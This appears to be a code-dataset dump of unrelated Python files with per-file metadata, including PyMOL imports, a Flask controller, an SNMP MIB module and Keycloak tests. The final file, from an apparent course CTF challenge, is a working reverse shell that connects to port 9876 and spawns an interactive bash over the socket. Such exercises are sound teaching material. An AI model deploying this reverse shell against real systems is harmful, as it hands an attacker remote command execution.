intra_rms_cur, \ pair_fit #-------------------------------------------------------------------- from preset import \ simple, \ technical, \ pretty, \ publication #-------------------------------------------------------------------- import moving from moving import \ madd, \ mset, \ mclear, \ mdo, \ mappend, \ mmatrix, \ mdump, \ accept, \ decline, \ mpng, \ mview, \ forward, \ backward, \ rewind, \ middle, \ ending, \ mplay, \ mtoggle, \ mstop, \ mpng, \ mray, \ frame, \ get_movie_playing, \ get_state, \ get_frame #-------------------------------------------------------------------- import viewing from viewing import \ as, \ bg_color, \ bg_colour, \ cartoon, \ clip, \ color, \ colour, \ del_colorection, \ dirty, \ disable, \ enable, \ full_screen, \ get_colorection, \ get_view, \ get_vis, \ get_scene_dict, \ hide, \ label, \ load_png, \ meter_reset, \ move, \ orient, \ origin, \ center, \ ray, \ rebuild, \ recolor, \ recolour, \ refresh, \ reset, \ rock, \ scene, \ set_color, \ set_colour, \ set_colorection, \ set_colorection_name,\ set_vis, \ set_view, \ show, \ spectrum, \ stereo, \ toggle, \ turn, \ view, \ viewport, \ window, \ zoom #-------------------------------------------------------------------- import setting from setting import \ set, \ get, \ unset, \ get_setting_legacy, \ get_setting_tuple, \ get_setting_updates, \ get_setting_text #-------------------------------------------------------------------- import helping from helping import \ show_help, \ help, \ commands #-------------------------------------------------------------------- from experimenting import \ check, \ dump, \ expfit, \ get_bond_print, \ fast_minimize, \ import_coords, \ load_coords, \ mem, \ minimize, \ spheroid, \ test from importing import \ finish_object, \ load_brick, \ load_callback, \ load_cgo, \ load_embedded, \ load_map, \ load_model, \ load_object, \ load_traj, \ loadable, \ read_mmodstr, \ read_molstr, \ read_pdbstr, \ read_xplorstr, \ set_session, \ #-------------------------------------------------------------------- import creating from creating import \ copy, \ isodot, \ isolevel, \ isomesh, \ isosurface, \ slice_new, \ symexp, \ map_new, \ ramp_new #-------------------------------------------------------------------- from commanding import \ cls, \ do, \ log, \ log_close, \ log_open, \ quit, \ resume, \ splash, \ reinitialize, \ sync #-------------------------------------------------------------------- import controlling from controlling import \ button, \ config_mouse, \ mouse, \ mask, \ order, \ set_key, \ unmask, \ edit_mode """
28.643991
83
0.332331
831
12,632
4.837545
0.382671
0.022388
0.034826
0.031343
0.045025
0.028358
0.028358
0.014428
0
0
0
0.003707
0.487492
12,632
440
84
28.709091
0.617238
0.00665
0
0.091603
0
0
0.933264
0.174454
0
0
0
0
0
0
null
null
0
0.068702
null
null
0.030534
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
2
407b482a18b0cab0739a7c6c8ca904bc95bb2da0
649
py
Python
src/visions/backends/python/types/time.py
bhumikapahariapuresoftware/visions
8838d89b4f02e401112378b4662a779227ead9f8
[ "BSD-4-Clause" ]
142
2020-01-07T21:17:10.000Z
2022-03-30T13:10:14.000Z
src/visions/backends/python/types/time.py
bhumikapahariapuresoftware/visions
8838d89b4f02e401112378b4662a779227ead9f8
[ "BSD-4-Clause" ]
121
2020-01-07T02:26:38.000Z
2022-03-29T17:18:19.000Z
src/visions/backends/python/types/time.py
bhumikapahariapuresoftware/visions
8838d89b4f02e401112378b4662a779227ead9f8
[ "BSD-4-Clause" ]
18
2020-02-17T03:17:37.000Z
2022-02-20T14:01:11.000Z
from datetime import time from typing import Sequence # from visions.types.date_time import DateTime from visions.types.time import Time # @Time.register_relationship(DateTime, Sequence) # def datetime_is_time(sequence: Sequence, state: dict) -> bool: # value = date(1, 1, 1) # return all(v == value for v in sequence) # # # @Time.register_transformer(DateTime, Sequence) # def datetime_to_time(sequence: Sequence, state: dict) -> Sequence: # return map(lambda v: v.time(), sequence) @Time.contains_op.register def time_contains(sequence: Sequence, state: dict) -> bool: return all(isinstance(value, time) for value in sequence)
30.904762
68
0.739599
90
649
5.233333
0.333333
0.076433
0.133758
0.159236
0.193206
0
0
0
0
0
0
0.005435
0.149461
649
20
69
32.45
0.847826
0.59322
0
0
0
0
0
0
0
0
0
0
0
1
0.166667
false
0
0.5
0.166667
0.833333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
1
0
0
0
2
407bf7dc42dc8db4ca5606a5158f9711559783a5
103
py
Python
sources/Settings.py
rsoultan/Pygame-shoot-them-up
0ae41522253b7405e6d00a8c4094de7480846535
[ "Apache-2.0" ]
null
null
null
sources/Settings.py
rsoultan/Pygame-shoot-them-up
0ae41522253b7405e6d00a8c4094de7480846535
[ "Apache-2.0" ]
null
null
null
sources/Settings.py
rsoultan/Pygame-shoot-them-up
0ae41522253b7405e6d00a8c4094de7480846535
[ "Apache-2.0" ]
null
null
null
SETTINGS = { "FPS": 60, "WIDTH": 1280, "HEIGHT": 720, "SOUNDS_VOLUME": 1.0, "MUSICS_VOLUME": 0.1 }
14.714286
22
0.592233
15
103
3.933333
0.8
0
0
0
0
0
0
0
0
0
0
0.152941
0.174757
103
7
23
14.714286
0.541176
0
0
0
0
0
0.384615
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
407ef86b13ba47ccc6f0a83fd074fb3813fd5b6e
995
py
Python
amais/presentation/controllers/user/create_voluntary_controller.py
ONG-AMAIS/clean-api-amais
f14ee5328ea4326c591006a59e65e0e22b02f9e3
[ "MIT" ]
1
2021-12-31T20:15:26.000Z
2021-12-31T20:15:26.000Z
amais/presentation/controllers/user/create_voluntary_controller.py
ONG-AMAIS/clean-api-amais
f14ee5328ea4326c591006a59e65e0e22b02f9e3
[ "MIT" ]
null
null
null
amais/presentation/controllers/user/create_voluntary_controller.py
ONG-AMAIS/clean-api-amais
f14ee5328ea4326c591006a59e65e0e22b02f9e3
[ "MIT" ]
2
2021-12-31T20:00:13.000Z
2021-12-31T20:12:50.000Z
from flask_restful import Resource from amais.presentation.helpers.http_helper import created from flask_restful import Resource, reqparse from amais.data.usecases.user.create_voluntary import CreateVoluntary class CreateVoluntaryController(Resource): @ classmethod def post(self): parser = reqparse.RequestParser() parser.add_argument('login', type=str) parser.add_argument('password', type=str) parser.add_argument('name', type=str) parser.add_argument('cpf', type=str) parser.add_argument('occupation', type=str) parser.add_argument('occupation_description', type=str) parser.add_argument('document_url', type=str) parser.add_argument('rg', type=str) parser.add_argument('phone', type=str) parser.add_argument('email', type=str) args = parser.parse_args() CreateVoluntary().create(**args) return created(message='Cadastro efetuado com sucesso!', payload={})
36.851852
76
0.698492
115
995
5.895652
0.434783
0.132743
0.250737
0.212389
0.436578
0.100295
0
0
0
0
0
0
0.190955
995
26
77
38.269231
0.842236
0
0
0
0
0
0.106533
0.022111
0
0
0
0
0
1
0.047619
false
0.047619
0.190476
0
0.333333
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
40854fd7371e110984086e52e82791c658b443bf
1,262
py
Python
gestion/views.py
darkdrei/covidudc
3c8e96b22d1f0ed7f3c929c11cbc98de72d2dc58
[ "MIT" ]
null
null
null
gestion/views.py
darkdrei/covidudc
3c8e96b22d1f0ed7f3c929c11cbc98de72d2dc58
[ "MIT" ]
null
null
null
gestion/views.py
darkdrei/covidudc
3c8e96b22d1f0ed7f3c929c11cbc98de72d2dc58
[ "MIT" ]
null
null
null
from django.shortcuts import render from django.views import generic from .models import RespuestaUsuario, Encuesta, PlantillaEncuesta from .forms import RespuestaUsuarioForm, EncuestaForm, PlantillaEncuestaForm from django.urls import reverse_lazy from django.http import HttpResponse from django.forms import modelformset_factory class EncuestaNew(generic.CreateView): model = Encuesta template_name = 'gestion/index.html' context_object_name = "obj" form_class = EncuestaForm success_url = reverse_lazy("gestion:encuesta") def form_valid(self, form): return super().form_valid(form) def get_context_data(self, **kwargs): context = super(EncuestaNew, self).get_context_data(**kwargs) context["lista_preguntas"] = PlantillaEncuesta.objects.first().preguntas.all() return context # def Index(request): # encuesta = RespuestaUsuario.objects.all() # context = {'encuesta': encuesta} # return render(request, 'gestion/index.html', context) # def Index(request): # form_set1 = modelformset_factory(RespuestaUsuario, fields=('pregunta', 'respuesta')) # form = form_set1 # return render(request, 'gestion/index.html', {'form':form}) #def index(request):
32.358974
90
0.724247
139
1,262
6.446043
0.395683
0.055804
0.053571
0.051339
0.078125
0.078125
0
0
0
0
0
0.001914
0.171949
1,262
39
91
32.358974
0.855502
0.295563
0
0
0
0
0.059091
0
0
0
0
0
0
1
0.105263
false
0
0.368421
0.052632
0.894737
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
4087a0e6f0828ab1984b93140d0b2111451a04da
3,641
py
Python
VectorMizuno/vector.py
GMizuno/VectorMizuno
702e21b74be35396a856386fb9b7f4aea68f7a69
[ "MIT" ]
null
null
null
VectorMizuno/vector.py
GMizuno/VectorMizuno
702e21b74be35396a856386fb9b7f4aea68f7a69
[ "MIT" ]
null
null
null
VectorMizuno/vector.py
GMizuno/VectorMizuno
702e21b74be35396a856386fb9b7f4aea68f7a69
[ "MIT" ]
null
null
null
from __future__ import annotations from typing import Union from typing import List import numbers class Vectors: ''' Simple class that works with vectors ''' def __init__(self, vectors: List[Union[int, float]]) -> None: '''[summary] Args: vectors (List[Union[int, float]]): [description] Raises: TypeError: [description] TypeError: [description] ''' if len(vectors) == 0: raise TypeError("You must pass not empty list") if not isinstance(vectors, List): raise TypeError("You must pass a list") if all(isinstance(vec, numbers.Real) for vec in vectors): self.vectors = vectors else: TypeError('You must pass float or int') def __repr__(self) -> str: '''Return the vector instance representation. Returns: str: The representation of the vector instance. ''' return f'Vector({self.vectors})' def __str__(self) -> str: '''The vector instance as a string. Returns: str: The vector instance as a string. ''' return f'{self.vectors}' def __len__(self) -> numbers.Real: '''[summary] Returns: numbers.Real: [description] ''' return len(self.vectors) def __mul__(self, other: Union[Vectors, numbers.Real]) -> Vectors: '''[summary] Args: other (Vectors): [description] Returns: Vectors: [description] ''' if isinstance(other, Vectors): if len(self.vectors) == len(other.vectors): return Vectors([self.vectors[i]*other.vectors[i] for i in range(len(other))]) raise ValueError("Dimensions of {other} and {self} are different") if isinstance(other, numbers.Real): return Vectors([i*other for i in self.vectors]) def __rmul__(self, other: Union[Vectors, numbers.Real]) -> Vectors: '''[summary] Args: other (Union[Vectors, numbers.Real]): [description] Returns: Vectors: [description] ''' return self.__mul__(other) def __add__(self, other: Union[Vectors, numbers.Real]) -> Vectors: '''[summary] Args: other (Union[Vectors, numbers.Real]): [description] Returns: Vectors: [description] ''' if isinstance(other, Vectors): if len(self.vectors) == len(other.vectors): return Vectors([self.vectors[i] + other.vectors[i] for i in range(len(other))]) raise ValueError("Dimensions of {other} and {self} are different") if isinstance(other, numbers.Real): return Vectors([i + other for i in self.vectors]) def __radd__(self, other: Union[Vectors, numbers.Real]) -> Vectors: '''[summsary] Args: other (Union[Vectors, numbers.Real]): [description] Returns: Vectorss: [description] ''' return self.__add__(other) def __eq__(self, other: Union[Vectors, numbers.Real]) -> bool: '''[summary] Args: other (Union[Vectors, numbers.Real]): [description] Returns: bool: [description] ''' if isinstance(other, Vectors): if len(other) == len(self) and self.vectors == other.vectors: return True else: return False else: return False
25.640845
78
0.542159
370
3,641
5.205405
0.197297
0.079958
0.079439
0.11215
0.59865
0.547767
0.531153
0.460021
0.43406
0.404465
0
0.000418
0.343038
3,641
141
79
25.822695
0.804766
0.257896
0
0.333333
0
0
0.08737
0.009516
0
0
0
0
0
1
0.1875
false
0.0625
0.083333
0
0.541667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
1
0
0
2
40881d7cb8eb9acd3a0eb7bfaf039e8eb21163cf
963
py
Python
arjuna/core/adv/decorators.py
test-mile/arjuna
21880b41e061e11bac2e600a3614684f8af75b2f
[ "Apache-2.0" ]
9
2018-11-15T10:09:17.000Z
2021-01-12T05:59:19.000Z
arjuna/core/adv/decorators.py
test-mile/arjuna
21880b41e061e11bac2e600a3614684f8af75b2f
[ "Apache-2.0" ]
2
2019-07-01T15:33:46.000Z
2019-07-12T13:04:08.000Z
arjuna/core/adv/decorators.py
test-mile/arjuna
21880b41e061e11bac2e600a3614684f8af75b2f
[ "Apache-2.0" ]
4
2018-12-02T15:14:04.000Z
2020-05-28T12:57:24.000Z
''' This file is a part of Test Mile Arjuna Copyright 2018 Test Mile Software Testing Pvt Ltd Website: www.TestMile.com Email: support [at] testmile.com Creator: Rahul Verma Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ''' import functools def singleton(cls): @functools.wraps(cls) def inner(*args, **kwargs): if not hasattr(cls, '_INSTANCE') or cls._INSTANCE is None: cls._INSTANCE = cls(*args, **kwargs) return cls._INSTANCE return inner
29.181818
72
0.742471
147
963
4.836735
0.612245
0.084388
0.036568
0.045007
0
0
0
0
0
0
0
0.010217
0.186916
963
32
73
30.09375
0.897829
0.719626
0
0
0
0
0.034483
0
0
0
0
0
0
1
0.25
false
0
0.125
0
0.625
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
408f0cc89d21072de0ad7d05ec283b21c7b57c1d
9,766
py
Python
pysnmp/BAS-SONET-MIB.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
11
2021-02-02T16:27:16.000Z
2021-08-31T06:22:49.000Z
pysnmp/BAS-SONET-MIB.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
75
2021-02-24T17:30:31.000Z
2021-12-08T00:01:18.000Z
pysnmp/BAS-SONET-MIB.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
10
2019-04-30T05:51:36.000Z
2022-02-16T03:33:41.000Z
# # PySNMP MIB module BAS-SONET-MIB (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/BAS-SONET-MIB # Produced by pysmi-0.3.4 at Mon Apr 29 17:17:54 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) # OctetString, ObjectIdentifier, Integer = mibBuilder.importSymbols("ASN1", "OctetString", "ObjectIdentifier", "Integer") NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues") ValueRangeConstraint, SingleValueConstraint, ValueSizeConstraint, ConstraintsIntersection, ConstraintsUnion = mibBuilder.importSymbols("ASN1-REFINEMENT", "ValueRangeConstraint", "SingleValueConstraint", "ValueSizeConstraint", "ConstraintsIntersection", "ConstraintsUnion") basSonet, = mibBuilder.importSymbols("BAS-MIB", "basSonet") ifIndex, = mibBuilder.importSymbols("IF-MIB", "ifIndex") ObjectGroup, NotificationGroup, ModuleCompliance = mibBuilder.importSymbols("SNMPv2-CONF", "ObjectGroup", "NotificationGroup", "ModuleCompliance") Integer32, MibScalar, MibTable, MibTableRow, MibTableColumn, iso, IpAddress, ModuleIdentity, TimeTicks, Bits, Counter64, ObjectIdentity, MibIdentifier, Gauge32, Counter32, NotificationType, Unsigned32 = mibBuilder.importSymbols("SNMPv2-SMI", "Integer32", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "iso", "IpAddress", "ModuleIdentity", "TimeTicks", "Bits", "Counter64", "ObjectIdentity", "MibIdentifier", "Gauge32", "Counter32", "NotificationType", "Unsigned32") TimeStamp, TextualConvention, DisplayString = mibBuilder.importSymbols("SNMPv2-TC", "TimeStamp", "TextualConvention", "DisplayString") basSonetMib = ModuleIdentity((1, 3, 6, 1, 4, 1, 3493, 2, 20, 1)) if mibBuilder.loadTexts: basSonetMib.setLastUpdated('9810071415Z') if mibBuilder.loadTexts: basSonetMib.setOrganization('Broadband Access Systems') basSonetObjects = MibIdentifier((1, 3, 6, 1, 4, 1, 3493, 2, 20, 1, 1)) basSonetPathTable = MibTable((1, 3, 6, 1, 4, 1, 3493, 2, 20, 1, 1, 1), ) if mibBuilder.loadTexts: basSonetPathTable.setStatus('current') basSonetPathEntry = MibTableRow((1, 3, 6, 1, 4, 1, 3493, 2, 20, 1, 1, 1, 1), ).setIndexNames((0, "IF-MIB", "ifIndex")) if mibBuilder.loadTexts: basSonetPathEntry.setStatus('current') basSonetPathB3Err = MibTableColumn((1, 3, 6, 1, 4, 1, 3493, 2, 20, 1, 1, 1, 1, 1), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: basSonetPathB3Err.setStatus('current') basSonetPathG1Err = MibTableColumn((1, 3, 6, 1, 4, 1, 3493, 2, 20, 1, 1, 1, 1, 2), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: basSonetPathG1Err.setStatus('current') basSonetPathPais = MibTableColumn((1, 3, 6, 1, 4, 1, 3493, 2, 20, 1, 1, 1, 1, 3), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: basSonetPathPais.setStatus('current') basSonetPathPrdi = MibTableColumn((1, 3, 6, 1, 4, 1, 3493, 2, 20, 1, 1, 1, 1, 4), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: basSonetPathPrdi.setStatus('current') basSonetPathPlop = MibTableColumn((1, 3, 6, 1, 4, 1, 3493, 2, 20, 1, 1, 1, 1, 5), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: basSonetPathPlop.setStatus('current') basSonetPathB3Threshold = MibTableColumn((1, 3, 6, 1, 4, 1, 3493, 2, 20, 1, 1, 1, 1, 6), Integer32().subtype(subtypeSpec=ValueRangeConstraint(3, 9)).clone(6)).setMaxAccess("readwrite") if mibBuilder.loadTexts: basSonetPathB3Threshold.setStatus('current') basSonetPathRxJ1 = MibTableColumn((1, 3, 6, 1, 4, 1, 3493, 2, 20, 1, 1, 1, 1, 7), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: basSonetPathRxJ1.setStatus('current') basSonetPathRxC2 = MibTableColumn((1, 3, 6, 1, 4, 1, 3493, 2, 20, 1, 1, 1, 1, 8), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: basSonetPathRxC2.setStatus('current') basSonetPathRxG1 = MibTableColumn((1, 3, 6, 1, 4, 1, 3493, 2, 20, 1, 1, 1, 1, 9), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: basSonetPathRxG1.setStatus('current') basSonetLineTable = MibTable((1, 3, 6, 1, 4, 1, 3493, 2, 20, 1, 1, 2), ) if mibBuilder.loadTexts: basSonetLineTable.setStatus('current') basSonetLineEntry = MibTableRow((1, 3, 6, 1, 4, 1, 3493, 2, 20, 1, 1, 2, 1), ).setIndexNames((0, "IF-MIB", "ifIndex")) if mibBuilder.loadTexts: basSonetLineEntry.setStatus('current') basSonetLineTxErr = MibTableColumn((1, 3, 6, 1, 4, 1, 3493, 2, 20, 1, 1, 2, 1, 1), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: basSonetLineTxErr.setStatus('current') basSonetLineB1Err = MibTableColumn((1, 3, 6, 1, 4, 1, 3493, 2, 20, 1, 1, 2, 1, 2), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: basSonetLineB1Err.setStatus('current') basSonetLineB2Err = MibTableColumn((1, 3, 6, 1, 4, 1, 3493, 2, 20, 1, 1, 2, 1, 3), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: basSonetLineB2Err.setStatus('current') basSonetLineM1Err = MibTableColumn((1, 3, 6, 1, 4, 1, 3493, 2, 20, 1, 1, 2, 1, 4), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: basSonetLineM1Err.setStatus('current') basSonetLineRxFifoOverflow = MibTableColumn((1, 3, 6, 1, 4, 1, 3493, 2, 20, 1, 1, 2, 1, 5), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: basSonetLineRxFifoOverflow.setStatus('current') basSonetLineRxAbort = MibTableColumn((1, 3, 6, 1, 4, 1, 3493, 2, 20, 1, 1, 2, 1, 6), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: basSonetLineRxAbort.setStatus('current') basSonetLineRxRunts = MibTableColumn((1, 3, 6, 1, 4, 1, 3493, 2, 20, 1, 1, 2, 1, 7), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: basSonetLineRxRunts.setStatus('current') basSonetLineLoc = MibTableColumn((1, 3, 6, 1, 4, 1, 3493, 2, 20, 1, 1, 2, 1, 8), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: basSonetLineLoc.setStatus('current') basSonetLineLof = MibTableColumn((1, 3, 6, 1, 4, 1, 3493, 2, 20, 1, 1, 2, 1, 9), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: basSonetLineLof.setStatus('current') basSonetLineLos = MibTableColumn((1, 3, 6, 1, 4, 1, 3493, 2, 20, 1, 1, 2, 1, 10), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: basSonetLineLos.setStatus('current') basSonetLineLais = MibTableColumn((1, 3, 6, 1, 4, 1, 3493, 2, 20, 1, 1, 2, 1, 11), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: basSonetLineLais.setStatus('current') basSonetLineLrdi = MibTableColumn((1, 3, 6, 1, 4, 1, 3493, 2, 20, 1, 1, 2, 1, 12), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: basSonetLineLrdi.setStatus('current') basSonetLineB1Threshold = MibTableColumn((1, 3, 6, 1, 4, 1, 3493, 2, 20, 1, 1, 2, 1, 13), Integer32().subtype(subtypeSpec=ValueRangeConstraint(3, 9)).clone(6)).setMaxAccess("readwrite") if mibBuilder.loadTexts: basSonetLineB1Threshold.setStatus('current') basSonetLineB2Threshold = MibTableColumn((1, 3, 6, 1, 4, 1, 3493, 2, 20, 1, 1, 2, 1, 14), Integer32().subtype(subtypeSpec=ValueRangeConstraint(3, 9)).clone(6)).setMaxAccess("readwrite") if mibBuilder.loadTexts: basSonetLineB2Threshold.setStatus('current') basSonetLineSFThreshold = MibTableColumn((1, 3, 6, 1, 4, 1, 3493, 2, 20, 1, 1, 2, 1, 15), Integer32().subtype(subtypeSpec=ValueRangeConstraint(3, 9)).clone(3)).setMaxAccess("readwrite") if mibBuilder.loadTexts: basSonetLineSFThreshold.setStatus('current') basSonetLineSDThreshold = MibTableColumn((1, 3, 6, 1, 4, 1, 3493, 2, 20, 1, 1, 2, 1, 16), Integer32().subtype(subtypeSpec=ValueRangeConstraint(3, 9)).clone(6)).setMaxAccess("readwrite") if mibBuilder.loadTexts: basSonetLineSDThreshold.setStatus('current') basSonetLineLastCleared = MibTableColumn((1, 3, 6, 1, 4, 1, 3493, 2, 20, 1, 1, 2, 1, 17), TimeStamp()).setMaxAccess("readonly") if mibBuilder.loadTexts: basSonetLineLastCleared.setStatus('current') basSonetLineRxK1 = MibTableColumn((1, 3, 6, 1, 4, 1, 3493, 2, 20, 1, 1, 2, 1, 18), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: basSonetLineRxK1.setStatus('current') basSonetLineRxK2 = MibTableColumn((1, 3, 6, 1, 4, 1, 3493, 2, 20, 1, 1, 2, 1, 19), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: basSonetLineRxK2.setStatus('current') basSonetLineRxGiants = MibTableColumn((1, 3, 6, 1, 4, 1, 3493, 2, 20, 1, 1, 2, 1, 20), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: basSonetLineRxGiants.setStatus('current') mibBuilder.exportSymbols("BAS-SONET-MIB", basSonetPathRxG1=basSonetPathRxG1, basSonetLineB2Threshold=basSonetLineB2Threshold, basSonetPathPais=basSonetPathPais, basSonetLineRxFifoOverflow=basSonetLineRxFifoOverflow, basSonetLineTable=basSonetLineTable, basSonetLineRxK1=basSonetLineRxK1, basSonetLineLos=basSonetLineLos, basSonetLineB1Threshold=basSonetLineB1Threshold, basSonetPathRxJ1=basSonetPathRxJ1, basSonetPathG1Err=basSonetPathG1Err, basSonetLineB2Err=basSonetLineB2Err, basSonetObjects=basSonetObjects, basSonetPathB3Err=basSonetPathB3Err, basSonetLineLoc=basSonetLineLoc, basSonetLineRxRunts=basSonetLineRxRunts, basSonetLineSDThreshold=basSonetLineSDThreshold, basSonetLineLais=basSonetLineLais, basSonetLineRxK2=basSonetLineRxK2, basSonetPathEntry=basSonetPathEntry, PYSNMP_MODULE_ID=basSonetMib, basSonetLineSFThreshold=basSonetLineSFThreshold, basSonetLineM1Err=basSonetLineM1Err, basSonetLineRxAbort=basSonetLineRxAbort, basSonetLineLof=basSonetLineLof, basSonetLineLrdi=basSonetLineLrdi, basSonetLineLastCleared=basSonetLineLastCleared, basSonetPathPrdi=basSonetPathPrdi, basSonetPathPlop=basSonetPathPlop, basSonetLineRxGiants=basSonetLineRxGiants, basSonetLineEntry=basSonetLineEntry, basSonetPathB3Threshold=basSonetPathB3Threshold, basSonetLineB1Err=basSonetLineB1Err, basSonetLineTxErr=basSonetLineTxErr, basSonetMib=basSonetMib, basSonetPathRxC2=basSonetPathRxC2, basSonetPathTable=basSonetPathTable)
112.252874
1,422
0.759881
1,134
9,766
6.542328
0.13933
0.015366
0.014153
0.01887
0.450869
0.412994
0.325381
0.318102
0.24936
0.23669
0
0.093431
0.088163
9,766
86
1,423
113.55814
0.739697
0.032767
0
0
0
0
0.109145
0.004663
0
0
0
0
0
1
0
false
0
0.101266
0
0.101266
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
40a7060de02876cc17ac01aceb1e0278493782bb
1,288
py
Python
molecule/default/tests/test_default.py
maximumG/ansible-keycloak
8a678fcbc2a46cabbf2bb1212d0e6f2dfd878bac
[ "Apache-2.0" ]
1
2021-09-17T03:43:51.000Z
2021-09-17T03:43:51.000Z
molecule/postgres/tests/test_default.py
maximumG/ansible-keycloak
8a678fcbc2a46cabbf2bb1212d0e6f2dfd878bac
[ "Apache-2.0" ]
null
null
null
molecule/postgres/tests/test_default.py
maximumG/ansible-keycloak
8a678fcbc2a46cabbf2bb1212d0e6f2dfd878bac
[ "Apache-2.0" ]
null
null
null
import os import testinfra.utils.ansible_runner testinfra_hosts = testinfra.utils.ansible_runner.AnsibleRunner( os.environ['MOLECULE_INVENTORY_FILE']).get_hosts('keycloak*') def test_keycloak_directories(host): """ Check that Keycloak directory structure is present and ownned by keycloak/keycloak """ assert host.file('/opt/keycloak').is_directory assert host.file('/opt/keycloak/common').is_directory assert host.file('/opt/keycloak/tools').is_directory assert host.file('/opt/keycloak').user == 'keycloak' and host.file('/opt/keycloak').group == 'keycloak' assert host.file('/opt/keycloak/common').user == 'keycloak' and host.file('/opt/keycloak').group == 'keycloak' assert host.file('/opt/keycloak/tools').user == 'keycloak' and host.file('/opt/keycloak').group == 'keycloak' def test_keycloak_user(host): """ Check that keycloak user exists """ assert host.user('keycloak').exists assert host.user('keycloak').shell == '/sbin/nologin' assert host.user('keycloak').home == '/opt/keycloak' def test_keycloak_service_running(host): """ Check that the keycloak service is enabled and running on the host """ assert host.service('keycloak').is_enabled assert host.service('keycloak').is_running
35.777778
114
0.710404
165
1,288
5.436364
0.260606
0.122631
0.110368
0.190635
0.51728
0.394649
0.333333
0.212932
0.212932
0.160535
0
0
0.142857
1,288
35
115
36.8
0.8125
0.140528
0
0
0
0
0.272385
0.021678
0
0
0
0
0.611111
1
0.166667
false
0
0.111111
0
0.277778
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
2
40c2bf9cb2ce599027b4dbc1c9ed2fbe2973ed9e
334
py
Python
challenges/linux_misc/nc/nchandler.py
rkevin-arch/ECS189M
363b02b86d37b86226b58b826811945e145410ff
[ "MIT" ]
13
2020-03-22T11:05:51.000Z
2021-01-27T06:39:45.000Z
challenges/linux_misc/nc/nchandler.py
rkevin-arch/ECS189M
363b02b86d37b86226b58b826811945e145410ff
[ "MIT" ]
3
2021-02-20T21:57:15.000Z
2021-06-02T01:14:30.000Z
challenges/linux_misc/nc/nchandler.py
rkevin-arch/ECS189M
363b02b86d37b86226b58b826811945e145410ff
[ "MIT" ]
3
2020-03-23T20:55:48.000Z
2021-04-17T22:38:36.000Z
import socket,subprocess,os print("I'm going to connect back to localhost, port 9876, with a reverse shell. Press Enter when you're ready!") input() s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("localhost",9876)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/bash","-i"])
33.4
112
0.727545
60
334
4.016667
0.65
0.074689
0.087137
0.161826
0
0
0
0
0
0
0
0.045603
0.080838
334
9
113
37.111111
0.739414
0
0
0
0
0.111111
0.368263
0
0
0
0
0
0
1
0
false
0
0.111111
0
0.111111
0.111111
0
0
0
null
0
0
1
0
0
0
0
0
0
